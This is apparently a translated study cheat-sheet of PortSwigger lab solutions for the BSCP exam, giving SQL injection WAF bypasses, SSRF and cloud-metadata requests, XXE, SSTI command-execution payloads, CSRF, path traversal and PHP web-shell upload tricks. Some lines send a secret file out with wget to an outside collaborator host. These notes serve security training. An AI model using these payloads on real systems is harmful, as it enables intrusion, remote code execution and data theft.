<username>Carl Toyota</username>
<email>carl@hacked.net</email>
</user>
</users>

PortSwigger 实验室:利用盲 XXE 使用恶意外部 DTD 泄露数据
SQL + XML + HackVector
通过 XML 编码绕过过滤器的 SQL 注入可能允许提取敏感数据。
使用数学表达式(例如7x7 )识别注入点,这表明可能存在 SQL 注入或模板注入。

WAF 在将 UNION SELECT 语句等 SQL 查询附加到原始商店 ID 时检测到攻击。Web 应用程序防火墙 (WAF) 将阻止包含明显 SQL 注入攻击迹象的请求。
<storeId>1 UNION SELECT NULL</storeId>
绕过 WAF,使用 Burp 扩展Hackvertor 混淆XML帖子正文中的 SQL 注入负载。

Webapp 返回一列,因此需要连接用户表中返回的用户名和密码列。
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId>

SQLi 负载读取本地文件,和/或输出到目标上的另一个文件夹。
<@hex_entities>1 UNION all select load_file('/home/carlos/secret')<@/hex_entities>
<@hex_entities>1 UNION all select load_file('/home/carlos/secret') into outfile '/tmp/secret'<@/hex_entities>
PortSwigger 实验室:通过 XML 编码绕过过滤器的 SQL 注入
混淆视听
网址替换. 与 %2e
双重编码注入
/?search=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
HTML编码一个或多个字符
<img src=x onerror="alert(1)">
用于绕过 WAF 的 XML 编码
<stockCheck>
<productId>
123
</productId>
<storeId>
999 SELECT * FROM information_schema.tables
</storeId>
</stockCheck>
多种编码一起
<a href="javascript:\u0061lert(1)">Click me</a>
查询字符
CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)
SSRF - 服务器端请求伪造
SSRF 攻击导致服务器与组织内部服务建立连接,或强制服务器连接到任意外部系统,可能会泄露敏感数据。
SSRF 利用示例。
/product/nextProduct?currentProductId=6&path=http://evil-user.net
stockApi=http://localhost:6566/admin
http://127.1:6566/admin
双URL编码URL中的字符,例如通过双URL编码将“a”混淆
%2561为,从而绕过黑名单过滤器。

PortSwigger 实验室:SSRF 与基于黑名单的输入过滤器
绝对 GET URL + HOST SSRF
可以在 GET 请求行中提供绝对 URL,然后为 HOST 标头提供不同的目标。
GET https://YOUR-LAB-ID.web-security-academy.net/
Host: COLLABORATOR.DOMAIN

使用主机标头定位 192.168.0.141 或本地主机,并注意响应给出 302 状态管理界面。将 /admin 附加到请求行中的绝对 URL 并发送请求。观察 SSRF 响应。

PortSwigger 实验室:SSRF 通过有缺陷的请求解析
SSRF redirect_uris
POST 请求以在 JSON 正文中使用重定向 URL 端点将数据注册到客户端应用程序。提供包含回调 URI 的任意白名单的 redirect_uris 数组。观察 redirect_uri。
POST /reg HTTP/1.1
Host: oauth-TARGET.web-security-academy.net
Content-Type: application/json
Content-Length: 206
{
"redirect_uris":["https://example.com"],
"logo_uri" : "https://ct9vlhusb0to24fcrs5t3qsmpdv4jv7k.oastify.com",
"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

PortSwigger 实验室:SSRF 通过 OpenID 动态客户端注册
XXE+SSRF
利用 XXE 执行 SSRF 攻击,使用获取敏感数据的库存检查功能。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://localhost:6566/latest/"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>

PortSwigger 实验室:利用 XXE 执行 SSRF 攻击
SSRF 主机头路由
通过主机标头的基于路由的 SSRF 允许对本地主机内部网进行不安全的访问。
GET /service/intranet?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&readfile=/home/carlos/secret HTTP/1.1
Host: localhost
注意:将 GET 请求转换为 POST。

POST / HTTP/1.1
Host: 5rxojasl9trh0xd5pl3m1jqfn6txhp5e.oastify.com
Cookie: _lab=46%7cMCwCFBucXjC6hvd9WC4%2fwP3%2fkmpxu8mhAhR%2f9lrAED4p89w%2bSBi%2fujGmrnwZhjZyG%2fmQebBgi4naIZO%2flg2daYidh0KoLFjVIEV1DKMwigDLRyL4BspAm4Kiz4iRmXJYyTpvojI18biLNQEbid7G4fT6SvZuUjONK2CLqa%2bc8VqLQcU%3d; session=GvdpmebBL2eNQZMJjJmSh4ZU8QrTDVDq
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
在协作者的帮助下识别出 SSRF 可以访问其他服务器,因此可以通过更改HOST标头来允许访问本地主机。
HTML 到 PDF
确定 SSRF 是否可以到达攻击者控制的服务器。
<div><p>Report Heading by <img src=”https://Collaborator.com/test.png”></p>
识别目标上的文件下载 HTML 到 PDF 转换功能易受攻击。
<script>
document.write('<iframe src=file:///etc/passwd></iframe>');
</script>
用于将 HTML 文件转换为 PDF 文档的库容易受到服务器端请求伪造 (SSRF) 的攻击。
下面的示例代码可以注入易受攻击的 HTML 到 PDF 转换器的实现,例如 wkhtmltopdf 以读取本地文件 (SSRF)。
<html>
<body>
<script>
x = new XMLHttpRequest;
x.onload = function() {
document.write(this.responseText)
};
x.open("GET", "file:///home/carlos/secret");
x.send();
</script>
</body>
</html>
JSON POST 请求正文包含 HTMLtoPDF 格式的有效负载以读取本地文件。
{
"tableHtml":"<div><p>SSRF in HTMLtoPDF</p><iframe src='file:///home/carlos/secret' height='500' width='500'>"
}
关于 HTML-to-PDF 转换器和 SSRF 的随机笔记
"Download report as PDF"
/adminpanel/save-report/
POST request - Body JSON
{
"tableHtml":"........<html code snip>......."
}
pdf creator: wkhtmltopdf 0.12.5
hacktricks xss cross site scripting server side xss dynamic pdf
SSRF 开放重定向
目标使用路径参数向电子商务站点上的下一个产品发出GET请求。在 stockAPI POST 请求中,正文数据中提供的值是内部系统的部分路径。该漏洞的识别是通过测试各种路径并观察指定的输入路径是否反映在响应Location标头中。

https://0ae8000a032748ebc12e083600260006.web-security-academy.net/product/nextProduct?currentProductId=1&path=http%3a//192.168.0.12%3a8080/admin
将 StockAPI 值替换为部分路径,而不是来自上述 GET 请求的绝对 URL。
stockApi=%2fproduct%2fnextProduct%3fcurrentProductId%3d1%26path%3dhttp%253a%2f%2f192.168.0.12%253a8080%2fadmin

PortSwigger 实验室:通过开放重定向漏洞利用过滤器绕过 SSRF
SSTI - 服务器端模板注入
使用 Web 框架本机模板语法将恶意负载注入{{input}},然后在服务器端执行。
可以使用工具SSTImap识别SSTI 。
python /opt/SSTImap/sstimap.py --engine erb -u https://TARGET.net/?message=Unfortunately%20this%20product%20is%20out%20of%20stock --os-cmd "cat /home/carlos/secret"
POST 请求数据参数以使用 SSTImap 测试和发送有效载荷。
python /opt/SSTImap/sstimap.py -u https://TARGET.net/product/template?productId=1 --cookie 'session=StolenUserCookie' --method POST --marker fuzzer --data 'csrf=ValidCSRFToken&template=fuzzer&template-action=preview' --engine Freemarker --os-cmd 'cat /home/carlos/secret'

用于手动识别漏洞的 SSTI 负载。
${{<%[%'"}}%\.,
}}{{7*7}}
{{fuzzer}}
${fuzzer}
${{fuzzer}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
${foobar}
{% debug %}
识别 模板注入。

tornado模板
}}
{% import os %}
{{os.system('cat /home/carlos/secret')
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('cat%20/home/carlos/secret')

PortSwigger 实验室:基本的服务器端模板注入数据泄露
Django 模板
${{<%[%'"}}%\,
{% debug %}
{{settings.SECRET_KEY}}

PortSwigger Lab:通过用户提供的对象进行信息泄露的服务器端模板注入
Freemarker 模板内容管理器 (C0nt3ntM4n4g3r)
${foobar}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat /home/carlos/secret") }

PortSwigger 实验室:使用文档进行服务器端模板注入
雇员再培训局模板
<%= 7*7 %>
<%= system("cat /home/carlos/secret") %>

Django模板
${{<%[%'"}}%\,
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('wget http://ext.burpcollab.net --post-file=/home/carlos/secret');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

关于模板注入的随机笔记
"Update forgot email template {{}}
/admin_panel/update_forgot_email/
POST request newemail parameter
portswigger.net/research/server-side-template-injection
{{7*7}}
portswigger.net/research/template-injection
wget http://ext.burpcollab.net --post-file=/home/carlos/secret
原型污染
通过客户端原型污染,目标容易受到 DOM XSS 攻击。 DOM Invader 将识别小工具并使用托管有效负载来钓鱼受害者并窃取他们的 cookie。
利用服务器正文部分,托管一个将受害者导航到恶意 URL 的漏洞。
<script>
location="https://TARGET.web.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>

原始污染部分不完整…需要更多输入…
CSRF
跨站点请求伪造漏洞允许攻击者强制用户执行他们不打算执行的操作。
oAuth 链接利用服务器托管 iframe,然后交付给受害者,迫使用户更新链接的代码。

拦截 GET /oauth-linking?code=[…]。 发送重复以保存代码。 放弃请求。 确保代码未被使用并保持有效很重要。 在漏洞利用服务器上保存一个 iframe,其中 src 属性指向您刚刚复制的 URL。
<iframe src="https://TARGET.web-security-academy.net/oauth-linking?code=STOLEN-CODE"></iframe>
PortSwigger 实验室:强制 OAuth 配置文件链接
引用 CSRF
识别 易受 referer 标头影响的更改电子邮件,以验证它是 referer 标头值的一部分。
添加目标的原始域并以查询字符串的形式 将其附加到 Referer 标头,允许更改电子邮件更新。
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url
注意: 与正常的Referer header拼写不同, 上面代码中 “referrer”这个词必须拼写正确^^。
创建 CSRF 概念验证漏洞并将其托管在漏洞利用服务器上。 编辑 JavaScript,使 history.pushState() 函数的第三个参数包含带有目标 URL 的查询字符串。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState("", "", "/?TARGET.web-security-academy.net")</script>
<form action="https://TARGET.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
当上述利用有效负载主体 CSRF 传递给受害者时,它将受害者电子邮件更改为 test@test.com 。

PortSwigger 实验室:CSRF 与损坏的 Referer 验证
文件路径遍历
imagefile 参数容易受到目录遍历路径攻击,从而可以读取服务器上的任意文件。
../../../../../../../../../../
在管理门户上,图像是使用 imagefile= 参数加载的,容易受到目录遍历的影响。
GET /admin_controls/metrics/admin-image?imagefile=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

Burp Intruder 提供了预定义的负载列表(Fuzzing - 路径遍历)。
PortSwigger 实验室:文件路径遍历,使用多余的 URL 解码去除的遍历序列
文件上传
易受攻击的图片上传功能或头像标志上传,可以被利用并绕过安全控制上传内容以提取敏感数据或在服务器端执行代码。
识别 任何类型的文件上传。

利用php的内容
<?php echo file_get_contents('/home/carlos/secret'); ?>
文件上传漏洞绕过示例:
- 上传文件名并包含混淆路径遍历
..%2fexploit.php并检索内容GET /files/avatars/..%2fexploit.php - 上传一个名为的文件,
exploit.php%00.jpg尾随空字符并在以下位置执行文件/files/avatars/exploit.php - 使用有效的图像文件创建 polygot,使用
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" stickman.jpg -o polyglot.php. 获取/files/avatars/polyglot.php内容并搜索START以获得敏感数据。 - 上传两个文件,第一个 .htaccess 的内容
AddType application/x-httpd-php .l33t允许然后上传和执行第二个名为的文件,exploit.l33t

PortSwigger 实验室:通过扩展黑名单绕过 Web shell 上传
附录
本节包含解决 Portswigger 实验室和 BSCP 考试的 其他 信息,例如 youtube 内容创建者、速度扫描和我从 @tjc_ 复制的 python 自动化脚本。
用 Python 解决实验室问题
这些 python 脚本是 Github 编写的一小部分代码 :Trevor tjcim 。
重点扫描
由于约定或考试期间时间紧迫, 请扫描定义的插入点 以获取特定请求。

Scanner 在 storeId 参数上检测到 XML 注入 漏洞,这导致读取秘密的 Carlos 文件。
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///home/carlos/secret"/></foo>
带外 XInclude 请求,需要托管 DTD 才能读取本地文件。
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://vfe7mddka77io3rz2xjvvbum5db9zzn0br1er2g.oastify.com/foo"/></hqt>
PortSwigger 实验室:通过有针对性的扫描快速发现漏洞
方法
这是我个人对利用已识别漏洞的可能方法的看法,然后使用这些笔记通过 BSCP 考试阶段。

YouTube 培训播放列表
Youtube频道:
- Rana Khalil
- David Bombal
- intigriti
- Seven Seas Security
- LiveUnderflow
- Tib3rius
- John Hammond
- TraceTheCode
- Sabyasachi Paul
- bmdyy
- securityguideme
- nu11 security
- PortSwigger
- IppSec
- @tjc_
脚注
此 PortSwigger 考试旨在具有挑战性,它不是直截了当的漏洞、扭曲的挑战、将学院实验室混合成单一问题甚至是无底洞。
毅力: 尽管困难重重或延迟取得成功,仍坚持做某事。
#更加努力